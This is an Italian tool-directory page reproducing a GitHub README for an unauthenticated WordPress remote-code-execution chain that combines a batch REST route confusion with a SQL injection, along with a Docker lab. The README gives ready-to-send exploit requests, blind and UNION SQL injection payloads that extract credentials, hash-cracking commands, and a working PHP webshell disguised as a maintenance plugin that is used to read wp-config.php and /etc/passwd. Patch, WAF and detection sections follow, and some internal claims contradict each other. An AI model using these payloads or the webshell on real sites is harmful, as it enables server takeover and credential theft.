Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-60137_CVE-2026-63030 — Exploit di RCE non autenticato per WordPress che combina route confusion e SQL injection. Script automatizzato, setup di laboratorio e analisi dettagliata della vulnerabilità forniti. | Kitploit
Strumenti/GitHubGitHub/dungsocool/cve-2026-60137_cve-2026-63030
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubdungsocool/cve-2026-60137_cve-2026-63030

CVE-2026-60137_CVE-2026-63030

Exploit di RCE non autenticato per WordPress che combina route confusion e SQL injection. Script automatizzato, setup di laboratorio e analisi dettagliata della vulnerabilità forniti.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
24 giorni faNon ancora revisionato

CVE-2026-60137 + CVE-2026-63030 — WordPress RCE non autenticata

Vulnerabilità: Confusione delle route batch REST + SQL injection in WP_Query → RCE completa

CVSS v3.1: 10.0 / 10.0 — CRITICO | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Versioni interessate: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Corrette: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)

root@kitploit:~
---

## Avvio rapido

### 1. Configura il laboratorio vulnerabile

**Requisiti:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030

# Start vulnerable WordPress
docker compose up -d

# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080

2. Esegui l'exploit```bash

pip install requests

Full auto chain — interactive shell

python3 exploit.py http://localhost:8080

Or run a single command

python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"

Check-only mode (no exploitation)

python3 exploit.py http://localhost:8080 --check-only

root@kitploit:~
### 3. Output atteso```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible

[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...

[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123

[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated

[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php

[+] RCE CONFIRMED!
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@target$ _
image image

File in questo repository


Analisi dettagliata della vulnerabilità

CVE-2026-60137 (abbinata a CVE-2026-63030)

Vulnerabilità: Esecuzione remota di codice non autenticata — Confusione di route REST Batch + SQL Injection in WP_Query

CVSS v3.1: 10.0 / 10.0 — CRITICA

Vettore: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


1. Panoramica

CVE-2026-60137 è una vulnerabilità RCE non autenticata nel core di WordPress. Combina due bug indipendenti in una catena di exploit completa che porta dall'accesso zero al pieno compromesso del server:

CVEBugRuolo nella catena
CVE-2026-63030Confusione di route REST BatchBypass dell'autenticazione
CVE-2026-60137author__not_in SQL InjectionLettura/scrittura arbitraria del database

Versioni interessate:

  • RCE completa: WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
  • Solo SQLi (richiede un plugin di supporto): 6.8.0 – 6.8.5
  • Corrette: 6.9.5, 7.0.2, 7.1-beta2+

Condizioni di sfruttamento:

  • L'API REST è pubblica (default di WordPress)
  • Nessuna cache di oggetti persistente (di default non c'è)
  • Almeno 1 post pubblicato (di default esiste "Hello World")
  • Nessun account o sessione richiesti

→ La stragrande maggioranza delle installazioni WordPress è vulnerabile di default.

2. Terminologia

Endpoint REST Batch (/wp-json/batch/v1)

Consente di inviare più richieste REST API in un'unica richiesta HTTP:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }

root@kitploit:~
### WP_Query — `author__not_in`

Classe principale di query al database. Il parametro `author__not_in` accetta un array di interi, generando la clausola SQL:```sql
AND post_author NOT IN (5, 12, 23)

Ogni elemento passa attraverso absint() → conservando solo la parte intera.

wp_parse_url()

Wrapper per parse_url(). Quando riceve un URL non valido → restituisce WP_Error.```php wp_parse_url("https://example.com/path") // → OK wp_parse_url("///") // → WP_Error

root@kitploit:~
## 3. Causa principale — Bug A: Batch Route Confusion (CVE-2026-63030)

**File:** `wp-includes/rest-api/class-wp-rest-server.php`

### Codice sorgente vulnerabile:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
    $requests = $batch_request->get_json_params()['requests'];
    $matches  = array();

    foreach ( $requests as $i => $single_request ) {
        $parsed = wp_parse_url( $single_request['path'] );

        if ( is_wp_error( $parsed ) ) {
            $responses[ $i ] = $this->error_to_response( $parsed );
            continue;  // ←BUG: $matches[] is NOT appended
        }

        $matches[] = $this->match_request_to_handler( $parsed );
        // ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
    }

    // Dispatch — this is where the bug comes into play
    $match_index = 0;
    foreach ( $requests as $i => $single_request ) {
        if ( isset( $responses[ $i ] ) ) continue;

        $handler = $matches[ $match_index ];  // ← INDEX IS DESYNCED
        $match_index++;

        // Request[i] runs with the permission callback OF ANOTHER REQUEST
        $permission_callback = $handler['permission_callback'];
        call_user_func( $permission_callback, $single_request );
    }
}

Meccanismo:```

Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}

Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler

Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication

root@kitploit:~
### Perché `"///"` innesca il bug?

Quando PHP `parse_url()` incontra `"///"`, tenta di analizzarlo secondo **RFC 3986** — struttura URL:```
scheme ://   authority  /       path
  │              │              │
"https"    "localhost:8080"   "/wp/v2/posts"
                 │
             host + port

Quando riceve "///", lo interpreta come:``` // → authority begins (double slash = has host) / → empty authority, path begins immediately → host = "" (empty) → path = "" (empty) → scheme = none

root@kitploit:~
PHP risultato restituito:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version

WordPress avvolge questo in wp_parse_url() → rileva nessuno schema valido, nessun host valido, nessun percorso significativo → restituisce WP_Error.

wp_parse_url("///") restituisce WP_Error (URL malformato). Questo errore fa sì che la richiesta venga saltata nel ciclo che costruisce $matches, ma NON viene saltata nel ciclo di dispatch → l'array diventa desincronizzato.

4. Causa principale — Bug B: SQL Injection (CVE-2026-60137)

File: wp-includes/class-wp-query.php

Codice sorgente vulnerabile:```php

class WP_Query { public function get_posts() { global $wpdb;

root@kitploit:~
    if ( ! empty( $q['author__not_in'] ) ) {
        $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
        $where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
        //                                                   ↑ INJECTION POINT
    }
}

}

root@kitploit:~
### Percorso normale (sicuro):```
User input → REST Controller → array cast + absint() → WP_Query → SQL
             ↑ sanitization occurs here

Controller REST (class-wp-rest-posts-controller.php):```php $args['author__not_in'] = array_map('absint', (array)$request['author_exclude']); // "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0] // → SAFE

root@kitploit:~
### Percorso con confusione di route (vulnerabile):```
User input → Route Confusion bypass → WP_Query directly → SQL
             ↑ REST controller is SKIPPED

Quando si verifica il desync del batch, i parametri della richiesta non passano attraverso il controller REST → la stringa grezza finisce direttamente in WP_Query → wp_parse_id_list() ha un bypass tramite caso limite → SQL injection.

Payload:```

author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"

root@kitploit:~
SQL generato:```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
                            ↑ INJECTED                                           ↑ commented out

5. Perché concatenare entrambi i bug?

ScenarioRisultato
Bug A da solo (Route Confusion)Bypass dei permessi → ma nulla da iniettare
Bug B da solo (SQLi)Il controller REST esegue sempre il cast dell'input → impossibile iniettare
Bug A + Bug BLa confusione bypassa il controller → stringa grezza in SQL → RCE

Singolarmente, questi due bug sono innocui. Solo se concatenati:

  • Bug A: rimuove il livello di sanitizzazione (controller REST)
  • Bug B: inietta SQL perché la sanitizzazione è stata bypassata

6. Analisi della catena di attacco

Fase 1: Route Confusion```

POST /wp-json/batch/v1 Content-Type: application/json

{ "requests": [ {"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}} ] }

root@kitploit:~
→ Response[0]: `parse_path_failed` (primer attivato)

→ Response[1]: `rest_invalid_handler` (desync dell'handler confermato)

### **Fase 2: SQL Injection — Estrazione dei dati**

**Blind Boolean :**```
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -

Compare TRUE vs FALSE response → binary search each character.

UNION In-Band :``` 0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish', 'closed','closed','','slug','','',NOW(),NOW(),'',0, CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -

root@kitploit:~
Fake post row containing credentials returned in the JSON response.

→ Risultato: `user_login` e `user_pass` (hash bcrypt) estratti correttamente da `wp_users`.

### **Fase 3: Crack dell'Hash → Login Admin**

L'hash ottenuto nella Fase 2 è in formato bcrypt (`$wp$2y$10$...`). Rimuovi il prefisso `$wp$` → esegui il crack con john/hashcat + wordlist → ottieni la password in chiaro → accedi a `/wp-login.php`.

**Nota:** Il punto di iniezione si trova nella clausola `WHERE` della `SELECT`. MySQL disabilita le multi-istruzioni → UNION è di sola LETTURA, non di SCRITTURA → non è possibile fare INSERT di un nuovo admin direttamente via SQLi. È necessario eseguire il crack dell'hash per ottenere una sessione valida.

### Fase 4: Upload della Webshell```
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin

Fase 5: RCE```

GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id → uid=33(www-data) gid=33(www-data)

root@kitploit:~
## **7. SFRUTTAMENTO**

Lo sfruttamento di CVE-2026-60137 va da **zero accessi** — nessun account, nessuna password, nessuna sessione — al **pieno controllo del server** esclusivamente tramite richieste HTTP.

**Requisiti:** Il target esegue WordPress 6.9.0–6.9.4 oppure 7.0.0–7.0.1 con REST API pubblica (abilitata per impostazione predefinita). Non è necessario effettuare il login o conoscere alcuna credenziale.

**La catena dell'exploit si compone di 5 fasi:**```
Phase 1: Route Confusion      → Bypass authentication
Phase 2: SQL Injection        → Read database (username, password hash)
Phase 3: Crack-Free Admin     → Create new admin without cracking password
Phase 4: Webshell Upload      → Install backdoor via plugin upload
Phase 5: RCE                  → Execute arbitrary commands on the server

7.1 Fase 1: Conferma della confusione delle route

Obiettivo: Confermare che il target è vulnerabile — l'array degli handler viene desincronizzato quando si invia il percorso di innesco "///".

Principio: L'endpoint batch consente di inviare più richieste REST in una singola chiamata HTTP. Quando wp_parse_url("///") fallisce, WordPress salta quella richiesta durante la costruzione dell'array $matches ma NON la salta durante il dispatch → gli handler vengono sfalsati → la richiesta successiva viene eseguita con il callback dei permessi sbagliato → bypass dell'autenticazione.

Invia la richiesta:``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}

root@kitploit:~
**Risposta:**```
{
  "responses": [
    {"body": {"code": "parse_path_failed"}, "status": 400},
    {"body": {"code": "rest_invalid_handler"}, "status": 500}
  ]
}

Come leggere:

images/image.png

Osserviamo che rest_invalid_handler significa: "WordPress si rende conto che l'handler NON CORRISPONDE alla richiesta"

→ Significa che l'array $matches È GIÀ DESINCRONIZZATO, il primer "///" HA FUNZIONATO e questo desync PUÒ ESSERE SFRUTTATO per far eseguire la richiesta con la callback di autorizzazione DI UN'ALTRA ROUTE (una route che non richiede autenticazione) → AUTH BYPASS È POSSIBILE

Vedere rest_invalid_handler → Bug A confermato.

7.2 Fase 2: Confermare SQL Injection

Passaggio 1 — VERO vs FALSO

VERO (OR 1=1):

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
**FALSE (AND 1=2):**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/95c08d2e43f06122b224fab9d17c713097a2f740f972da5b9d6d68e10ca4effa.png)```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

Difference in X-WP-Total → SQLi confermata.

Step 2 — Estrazione del nome utente admin (Blind Boolean)

1° carattere:

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
`CHAR(97)` = `'a'`. X-WP-Total=8 (TRUE) → quindi il primo carattere è `'a'`

Enumerando sequenzialmente, otteniamo: `user_login` = **"admin"**

#### **Passaggio 3 — Estrarre l'hash della password**```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

images/image.png

images/image.png

Usa la ricerca binaria per determinare il codice ASCII di ogni carattere in user_pass:``` Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30 → X-WP-Total: 8 (TRUE) Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40 → X-WP-Total: 0 (FALSE)

root@kitploit:~
Due risposte opposte confermano che l'ASCII del primo carattere rientra nell'intervallo **(30, 40]**. Continua a restringere il campo:```
> 35  →  TRUE
> 36  →  FALSE
→ ASCII = 36 = '$'

Continua la ricerca binaria di ogni posizione → ottieni la stringa del prefisso hash $wp$:

Continua usando BLIND SQL carattere per carattere:

→ Hash completo: $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

7.3 Fase 3: Accesso Admin

Dopo la Fase 2, abbiamo:

  • user_login = admin
  • user_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

Craccare l'Hash

Gli hash di WordPress utilizzano il formato bcrypt ($2y$10$), con un fattore di costo di 10. Prima di craccare, dobbiamo rimuovere il prefisso $wp$ perché hashcat/john accetta solo bcrypt puro:```

Save the pure bcrypt part (remove $wp$ prefix)

echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt

Crack using john

john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt

root@kitploit:~
**Risultato:**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/29e2f2018d63e7bdb2c8a633cb151d0aeab28801b47c7ec270be116ec2030f89.png)

La password **`admin123`** è nella wordlist → john la decifra con successo immediatamente.

→ Accesso effettuato con successo su `/wp-login.php` con `admin:admin123`.

### **7.4 Fase 4: Caricamento Webshell**

A questo punto, abbiamo una sessione admin valida. L'obiettivo successivo è **installare una backdoor sul server** per mantenere l'accesso indipendentemente dalle credenziali.

WordPress consente agli amministratori di caricare plugin in formato ZIP — questa è una funzionalità legittima, e ne abuseremo.

#### **Creare una webshell**

Innanzitutto, ci serve un file PHP che esegua comandi di sistema. Questo file verrà impacchettato in un finto plugin per essere accettato da WordPress:```php
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
    header('Content-Type: text/plain');
    echo shell_exec($_GET['cmd'] . ' 2>&1');
    exit;
}

Il token secret123 funge da password — impedendo ad altri di attivare accidentalmente la shell.```bash mkdir shell && mv shell.php shell/ zip -r shell.zip shell/

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/bf2671815ada8d413fdb42cdd06b8b42c7a549846557a6e3ff541147010bf104.png)

Creato con successo.

#### **Caricamento su WordPress**

Dopo aver creato con successo `shell.zip`, carica il file zip nella sezione plugin per attivarlo.

WordPress estrae e colloca il file in:```
/var/www/html/wp-content/plugins/shell/shell.php

Il plugin appare nell'elenco con il nome "Maintenance Utility" e lo stato Active → la webshell è ora pronta per essere attivata via HTTP.

images/image.png

UPLOAD e ACTIVE completati con successo.

7.5 Fase 5: RCE

Quindi, la Shell è sul server. Chiamala per eseguire la shell.

Conferma RCE:``` GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/eb3f921660da2c214487a9ccb062f173bee25b881e7ff7c95be685fbb061bf2a.png)```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Running as the www-data user — the web server's user. Next, escalate the impact:

Read WordPress configuration file:```

GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/3db8d0921065eb40ee3e8d305fbc365c924f7d8950921b034d521037c676a9bf.png)

 — Esegue il comando per leggere il file `wp-config.php` tramite webshell — esponendo tutte le chiavi segrete di WordPress (`AUTH_KEY`, `SECURE_AUTH_KEY`, `LOGGED_IN_KEY`, `NONCE_KEY`,...) e le credenziali del database. Questa è l'informazione più sensibile in un'installazione di WordPress.

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/ea90ae9a1698312588a1dd97c804f1612a8bb09889eb12aafcb3ed1e68295826.png)

*—* La risposta restituisce il contenuto di `wp-config.php` inclusi `DB_NAME`, `DB_USER`, `DB_PASSWORD`, `DB_HOST` — sufficiente per l'accesso diretto al server del database senza passare attraverso WordPress.

#### **Leggi tutti gli utenti di sistema:**```
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

images/image.png

→ Conferma l'accesso a livello di sistema operativo, non più limitato all'ambito WordPress.

A questo punto, la catena di exploit è completa:``` Zero credentials ↓ Route Confusion (Bug A) Auth bypass ↓ SQL Injection (Bug B) admin:admin123 ↓ hashcat/john Admin session ↓ Plugin upload Webshell active ↓ shell_exec() Full RCE — www-data

root@kitploit:~
### **7.6 Riepilogo**

| **#** | **Fase** | **Metodo** | **Percorso** |
| --- | --- | --- | --- |
| 1 | SQLi TRUE | POST | `/?rest_route=/batch/v1` |
| 2 | SQLi FALSE | POST | `/?rest_route=/batch/v1` |
| 3 | Estrai username | POST | `/?rest_route=/batch/v1` |
| 4 | Estrai hash | POST | `/?rest_route=/batch/v1` |
| 5 | Accesso admin | POST | `/wp-login.php` |
| 6 | Ottieni nonce | GET | `/wp-admin/plugin-install.php` |
| 7 | Carica shell | POST | `/wp-admin/update.php` |
| 8 | Attiva | GET | `/wp-admin/plugins.php` |
| 9 | **RCE** | GET | `/wp-content/plugins/shell/shell.php` |

**9 richieste. Zero credenziali iniziali. Dalla pagina di login → pieno controllo del server.**

## 8. Suddivisione CVSS

| Metrica | Valore | Motivo |
| --- | --- | --- |
| Vettore di attacco | Rete | Remoto via HTTP |
| Complessità dell'attacco | Bassa | Deterministico, nessun requisito di timing/race |
| Privilegi richiesti | Nessuno | Completamente non autenticato |
| Interazione utente | Nessuna | Nessuna azione richiesta alla vittima |
| Ambito | Modificato | WP → livello OS (www-data) |
| Riservatezza | Alta | Lettura completa del DB |
| Integrità | Alta | Scrittura arbitraria del DB, caricamento file |
| Disponibilità | Alta | DROP tabelle, ransomware |

## 9. Impatto

### Tecnico

| Livello | Impatto |
| --- | --- |
| Database | Accesso READ/WRITE a tutto: wp_users, wp_options, wp_posts |
| Applicazione | Creare admin, modificare contenuti, installare backdoor |
| Server | RCE come www-data, leggere wp-config.php, /etc/passwd |
| Rete | Pivot verso servizi interni tramite credenziali DB |

### Business

| Scenario | Conseguenze |
| --- | --- |
| E-commerce | Divulgazione PII, rubare chiavi di pagamento, iniettare skimmer |
| Azienda | Defacement, spam SEO, distribuzione malware |
| Multisite | 1 exploit → compromettere l'intera rete |
| SaaS (WP marketing) | Estrarre variabili d'ambiente → pivot verso la produzione |

### Dati a rischio

- `wp_users`: username, email, hash password
- `wp_usermeta`: PII (nome, telefono, indirizzo), session_tokens
- `wp_options`: credenziali DB, credenziali SMTP, chiavi API di pagamento, salt WordPress
- `wp-config.php`: host/utente/password del database, chiavi segrete
- `/proc/self/environ`: variabili d'ambiente

## 10. Difesa e Rimedio

### 10.1 Patch (Completa)

| Versione attuale | È necessario aggiornare a |
| --- | --- |
| 6.9.0 – 6.9.4 | **6.9.5** |
| 7.0.0 – 7.0.1 | **7.0.2** |
| 6.8.x | **6.8.6** |

### 10.2 Correzione del codice

**Bug A — Confusione di route:**```php
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;

// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;

Bug B — SQL Injection:```php // BEFORE: wp_parse_id_list has an edge case $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));

// AFTER: Force cast + explicit absint $safe = array_map('absint', array_filter((array)$q['author__not_in'])); $author_not_in = implode(',', $safe);

root@kitploit:~
### 10.3 Mitigazione temporanea

**1. Disabilitare l'endpoint batch (il più efficace):**```php
add_filter('rest_endpoints', function($endpoints) {
    unset($endpoints['/batch/v1']);
    return $endpoints;
});

2. Abilita Redis/Memcached:```bash wp plugin install redis-cache --activate wp redis enable

root@kitploit:~
→ L'iniezione UNION non si riflette (la cache restituisce dati obsoleti).

**3. Regola WAF:**```nginx
location /wp-json/batch/ {
    if ($request_body ~* '"path"\s*:\s*"///') {
        return 403;
    }
}

10.4 Rilevamento

Pattern di log:``` POST /wp-json/batch/v1 HTTP/1.1" 207 ← anomalous batch requests POST /wp-json/wp/v2/users HTTP/1.1" 201 ← newly created admin POST /wp-admin/update.php HTTP/1.1" 200 ← plugin upload immediately after GET /wp-content/plugins/*/shell.php" 200 ← webshell access

root@kitploit:~
**Controllo IOC:**```bash
wp user list --role=administrator          # unfamiliar admin?
ls wp-content/mu-plugins/                  # backdoor?
wp core verify-checksums                   # core modified?
Scarica lo strumento
FileDescrizione
README.mdAnalisi completa della vulnerabilità e writeup di sfruttamento
exploit.pyScript di exploit automatizzato (zero-access → RCE con un solo comando)
docker-compose.ymlAmbiente di laboratorio WordPress vulnerabile
chain-rce.mdDocumentazione della catena RCE automatizzata
images/Screenshot dallo sfruttamento manuale
Risposta
Codice
Significato
[0]parse_path_failedIl primer funziona — wp_parse_url("///") ha fallito
[1]rest_invalid_handlerDESYNC! La richiesta ha ricevuto un handler errato → bypass dell'autenticazione
PosizioneASCIICarattereNote
136$Prefisso hash
2119w
3112p
436$→ $wp$ = variante bcrypt
5-20...2y$10$aJgATdlhfIFattore di costo + sale